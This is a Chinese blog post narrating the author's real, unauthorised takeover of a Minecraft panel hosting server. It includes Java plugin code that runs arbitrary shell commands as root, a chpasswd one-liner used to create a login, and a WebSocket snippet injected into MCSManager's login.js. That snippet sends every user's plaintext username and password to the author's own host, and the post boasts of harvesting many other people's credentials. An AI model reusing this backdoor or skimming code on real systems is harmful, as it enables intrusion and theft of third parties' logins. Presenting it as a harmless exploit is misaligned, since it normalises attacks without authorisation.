通过minecraft拿到服务器root的简单渗透实战

0x00 前言

那是2020年4月的一个下午。因为新冠,罕见的得了高中以来最长的寒假。当时我用树莓派3b开了个mc服务器玩。找了点朋友来玩,树莓派性能太差,时不时就卡住掉线,后来我在机器人社团认识的一个初三的朋友跟我说可以用他买的mc面板服来开,当时我对面板服不感兴趣,只想要个vps。
直到他说了一句话:

可以随意上传并运行任何服务端

这句话一下子点醒了我,马上就想到只要配置不当就可能非常脆弱。

0x01 Ping

搞到服务器地址先ping下!请添加图片描述
看到TTL<64。大概率是Linux了,不免感到兴奋。
虽然Linux坚如磐石,但是大部分小白只会用root来运行程序,如果服务端在root上运行那可就太棒了。

0x02登陆

请添加图片描述

平平无奇没有什么漏洞。
都说忘记密码里漏洞多
请添加图片描述

直接拉起了qq聊天,要找管理员改密码。这条路也是不通的
请添加图片描述

有几个小功能,能上传文件。还有个控制台,不能交互。
请添加图片描述

从朋友那知道一下几点:
  • 服务端需要在用户根目录下改名位server.jar才能运行
  • 服务端可以随意设置端口在1000以上
  • 购买时候套餐只有内存大小之分而没有cpu核心限制
分析出一下:
  • 只要改名为server.jar的java程序应该都能运行
  • 防火墙只允许1000以上端口通过
  • 服务器应该是用-Xmx限制内存而且没有隔离

0x03测试

现在就是看管理员是不是傻傻的在root上运行。
我们不能直接弄个getshell的程序运行,要不然可能被管理员发现在这弄了个shell。

于是我写成了服务器插件,核心代码入下
 if (command.getName().equalsIgnoreCase("kzt")){
            String context;
            for(String i : args){
                com+=i + " ";
            }
                try {
                    Process p = Runtime.getRuntime().exec(com);
                    InputStream is = p.getInputStream();
                    BufferedReader reader = new BufferedReader(new InputStreamReader(is));
                    p.waitFor();
                    if (p.exitValue() == 0) {
                        while ((context = reader.readLine())!= null) {
                         player.sendMessage(context);
                        }
                    }
                }
                catch (Exception error){
                   player.sendMessage(error.toString());
                }
                return true;
            }

执行ifconfig指令,能正常运行
请添加图片描述
执行id
请添加图片描述
请添加图片描述

真就运行在root上!

0x04拿到SSH

首先创建用户。
创建成功
请添加图片描述

因为控制台不支持交互,得换个方法创建密码。
我这里写个脚本上传再运行

echo user:passwd|chpasswd

发现SSH在运行且防火墙已关闭,仍然无法连接,推测应该是用某种东西进行了映射。

写了个转发程序,很简单就不晒了。
成功
请添加图片描述

0x05拿到sudo

直接改所有者,之后再改回来,比较简单先省略了。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
请添加图片描述

拿到!
请添加图片描述

还没完,别急走

0x06拿网站管理员账号

之前说了,这个服务器要钱买,那么如果重装后就得重新黑,而又得花笔钱。像我这样的穷鬼是绝对不允许的(滑稽)
多亏我的好兄弟帮我找到了这个项目

https://github.com/Suwings/MCSManager
请添加图片描述

登陆逻辑

请添加图片描述

非常复杂,虽然我们能读取加密后的密码,但是仍然需要时间而且可能无法破解。

看看结构

请添加图片描述

马上锁定login.js

请添加图片描述

只要传递username和password就能得明文密码了。
在3行插入

var ws = new WebSocket("ws://****:8080"); 
ws.onopen = function(){
 ws.send(username + ":" + password);
 }

之后再弄台服务器来接收,因为时间太久了,我把代码弄丢了。

第二天下午

我看了下服务器,没想到弄到了,还有其他很多人的。请添加图片描述

  • 8
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值